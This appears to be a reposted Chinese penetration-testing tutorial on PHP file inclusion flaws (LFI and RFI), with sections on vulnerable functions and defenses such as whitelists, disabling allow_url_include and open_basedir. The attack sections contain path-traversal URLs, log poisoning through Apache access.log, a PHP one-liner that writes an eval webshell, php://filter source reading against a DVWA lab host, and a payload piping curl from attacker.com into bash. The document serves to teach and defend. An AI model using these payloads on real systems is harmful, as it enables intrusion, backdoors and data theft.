当前位置: 首页 > article >正文

渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录

说明

通常分为两种类型:

本地文件包含

典型的攻击方式1:

影响:

典型的攻击方式2:

包含路径解释:

日志包含漏洞:

操作原理

包含漏洞读取文件 

文件包含漏洞远程代码执行漏洞:

远程文件包含

典型的攻击方式:

影响:

文件包含漏洞的根本原因

语言包含漏洞

PHP文件包含漏洞函数

文件包含漏洞相关的常见 PHP 函数

1. include() 和 require()

2. include_once() 和 require_once()

3. fopen() 和 fread()

4. file_get_contents()

5. readfile()

6. highlight_file()

7. fpassthru()

总结

防御措施

输入验证与过滤:

禁用远程文件包含:

使用绝对路径:

文件包含路径限制:

日志记录与监控:

代码审计与渗透测试:

总结

说明

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为

通常分为两种类型:

  • 本地文件包含(LFI)
  • 远程文件包含(RFI)

本地文件包含

  • LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件

攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

典型的攻击方式1:

  • 攻击者通过修改 URL 参数来试图包含本地文件
  • 例如:
http://example.com/index.php?page=../../../../etc/passwd
  • 在这个例子中

攻击者试图通过“../../../../etc/passwd”来访问服务器上的 /etc/passwd 文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。

影响:

  • 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
  • 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
  • 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。

典型的攻击方式2:

  • 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>

这种代码会根据用户传入的page参数来包含文件。

包含路径解释:

  1. 绝对路径包含

  2. 相对路径包含

  3. 文件穿越漏洞

  4. 包含一些图片吗进行控制 包含敏感文件读取出来

  5. 远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。

  6. 直接引用别人得网站得图片 前提是看别人开启了相关参数没。


日志包含漏洞:

  • 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
  • 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。

操作原理

  1. 当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.

  2. 这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.

    1. Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。

    2. apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

    3. 前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置

    4. 其实这种方式就是把木马直接写入到日志文件中.

    5. 在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了

    6. 蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接

    7. http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问

  • 1浏览器日志 记录可能会编译成url编码

  • 2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。

  • 记录下php得一句话木马程序写法
  • 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
  • <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
  • 数据存在于存在与执行得目录中 jaden.php
  • 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集


包含漏洞读取文件 

读取php文件 包含就能读取:

  • 采用得是file:///协议

  • 读取php文件不想执行

  • Php:/// 读取文件 指定php协议来读取协议

    • http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php

    • 以base64得数据格式进行读取出来

  • 通过文件包含漏洞利用 file:// 伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。
  • 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如 /etc/passwd 或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。
  • file:///etc/passwd

文件包含漏洞远程代码执行漏洞:

  • 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
  • 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
  • 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
  • 服务端存在包含漏洞

  • 也就是通过include(php://input) 进行执行而不是用文件进行执行

  • 执行得命令

  • Php://input 执行过程

<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>


远程文件包含

  • RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站

通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。


典型的攻击方式:

  • 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
  • 在这个例子中
  • 攻击者试图加载并执行远程服务器上的 malicious_script.php 文件
  • 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
    • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

影响:

  • 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
  • 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
  • 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。

文件包含漏洞的根本原因

  1. 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
  2. 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
  3. 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如 include, require, fopen 等)。

语言包含漏洞

  • 包含操作,在大多数Web语言中都会提供的功能

  • 但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状

  • 很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.

  • 公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件

  • Import-python 也就是代码漏洞

  • 针对不同的语言 比如说 go php java python 也就是对应相关的函数


PHP文件包含漏洞函数

  • PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。

文件包含漏洞相关的常见 PHP 函数

1. include()require()

功能

  • include()require() 用于将文件引入当前 PHP 文件并执行。
  • include() 在文件不可用时会发出警告(warning)
  • require() 会发出致命错误(fatal error)并停止执行。

安全隐患

include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'

如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。


2. include_once()require_once()

功能

  • include()require() 相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。

安全隐患

  • 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。

3. fopen()fread()

功能

  • fopen() 打开文件,fread() 读取文件内容,通常用于读取文本或二进制文件内容。

安全隐患

$file = fopen($_GET['file'], "r");  // 如果未验证,攻击者可以操控路径读取文件
  • 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。

4. file_get_contents()

功能

file_get_contents() 用于读取文件内容并将其作为字符串返回。

安全隐患

$content = file_get_contents($_GET['file']);

如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。


5. readfile()

功能

readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。

安全隐患

readfile($_GET['file']);

攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。


6. highlight_file()

功能

highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。

安全隐患

highlight_file($_GET['file']);

如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。


7. fpassthru()

功能

fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。

安全隐患

$file = fopen($_GET['file'], "r");
fpassthru($file);

fread()file_get_contents() 类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。


总结

PHP 中的文件包含函数(如 include()require()fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:

  • 严格控制文件路径参数的来源和内容;
  • 禁用不必要的功能(如远程文件包含);
  • 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。

防御措施

  1. 输入验证与过滤

    • 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如 ../)的输入。
    • 使用白名单机制,限制只能包含特定目录下的文件。
  2. 禁用远程文件包含

    • 在 PHP 中,禁用 allow_url_includeallow_url_fopen,防止包含远程文件。
    • 设置 open_basedir,限制 PHP 程序只能访问特定目录下的文件。
  3. 使用绝对路径

    • 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
  4. 文件包含路径限制

    • 使用 basename() 或类似的函数确保包含的文件不会遍历目录结构。
    • 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
  5. 日志记录与监控

    • 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
    • 设置警报机制,及时发现潜在的文件包含攻击。
  6. 代码审计与渗透测试

    • 定期进行代码审计,检查可能存在文件包含漏洞的地方。
    • 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。

总结

文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。


http://www.kler.cn/a/532894.html

相关文章:

  • 一文讲解Spring中应用的设计模式
  • 我的创作纪念日
  • 解析 Oracle 中的 ALL_SYNONYMS 和 ALL_VIEWS 视图:查找同义词与视图的基础操作
  • 星际智慧农业系统(SAS),智慧农业的未来篇章
  • 实验9 JSP访问数据库(二)
  • 智能园区管理系统助力企业安全与效率双提升的成功案例分析
  • 3、参数化测试
  • 【Redis实战】Chapter01-投票后端
  • 『 C++ 』中理解回调类型在 C++ 中的使用方式。
  • Android学习20 -- 手搓App2(Gradle)
  • leetcode 1482. 制作 m 束花所需的最少天数
  • git error: invalid path
  • Redis - String相关命令
  • UE编辑器工具
  • 【自学笔记】Git的重点知识点-持续更新
  • LeetCode:392.判断子序列
  • 接口游标分页
  • 本系统旨在为用户提供一个灵活且可扩展的信息安全管理解决方案,通过插件化的开发模式,使得信息安全的维护更加高效、便捷。
  • 云原生详解:构建未来应用的架构革命
  • 996引擎-怪物:Lua 刷怪+清怪+自动拾取
  • 2025_2_4 C语言中关于free函数及悬空指针,链表的一级指针和二级指指针
  • 【Block总结】CoT,上下文Transformer注意力|即插即用
  • IIC重难点-2
  • 【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-Chapter2-HTML 中的 JavaScript
  • mysql 学习7 DCL语句,用来管理数据库用户,控制数据库的访问权限
  • k8s二进制集群之各节点部署